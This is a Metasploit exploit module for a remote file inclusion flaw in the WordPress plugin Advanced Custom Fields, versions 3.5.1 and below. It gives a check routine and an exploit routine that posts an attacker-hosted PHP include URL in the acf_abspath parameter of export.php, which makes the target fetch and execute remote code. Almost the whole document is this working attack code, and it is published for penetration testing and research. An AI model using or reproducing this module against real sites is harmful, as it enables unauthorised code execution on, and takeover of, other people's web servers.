WordPress Plugin Advanced Custom Fields - Remote File Inclusion (Metasploit)

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::Remote::HttpServer::PHPInclude

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'WordPress Plugin Advanced Custom Fields Remote File Inclusion',
			'Description'    => %q{
					This module exploits a remote file inclusion flaw in the WordPress blogging
				software plugin known as Advanced Custom Fields. The vulnerability allows for remote
				file inclusion and remote code execution via the export.php script. The Advanced
				Custom Fields plug-in versions 3.5.1 and below are vulnerable. This exploit only
				works when the php option allow_url_include is set to On (Default Off).
			},
			'Author'         =>
				[
					'Charlie Eriksen <charlie@ceriksen.com>',
				],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					['OSVDB', '87353'],
					['URL', 'http://secunia.com/advisories/51037/'],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'DisableNops' => true,
					'Compat'      =>
						{
							'ConnectionType' => 'find',
						},
				},
			'Platform'       => 'php',
			'Arch'           => ARCH_PHP,
			'Targets'        => [[ 'Automatic', { }]],
			'DisclosureDate' => 'Nov 14 2012',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/']),
				OptString.new('PLUGINSPATH', [true, 'The relative path to the plugins folder', 'wp-content/plugins/']),
			], self.class)
	end

	def check
		uri = target_uri.path
		uri << '/' if uri[-1,1] != '/'
		uri << datastore['PLUGINSPATH']
		uri << '/' if uri[-1,1] != '/'

		res = send_request_cgi({
			'method' => 'POST',
			'uri'    => "#{uri}advanced-custom-fields/core/api.php"
		})

		if res and res.code == 200
			return Exploit::CheckCode::Detected
		else
			return Exploit::CheckCode::Safe
		end
	end

	def php_exploit
		uri = target_uri.path
		uri << '/' if uri[-1,1] != '/'
		uri << datastore['PLUGINSPATH']
		uri << '/' if uri[-1,1] != '/'

		print_status('Sending request')
		res = send_request_cgi({
			'method' => 'POST',
			'uri'    => "#{uri}advanced-custom-fields/core/actions/export.php",
			'data'   => "acf_abspath=#{php_include_url}"
		})

		if res and res.body =~ /allow_url_include/
			fail_with(Exploit::Failure::NotVulnerable, 'allow_url_include is disabled')
		elsif res.code != 200
			fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}")
		end

	end

end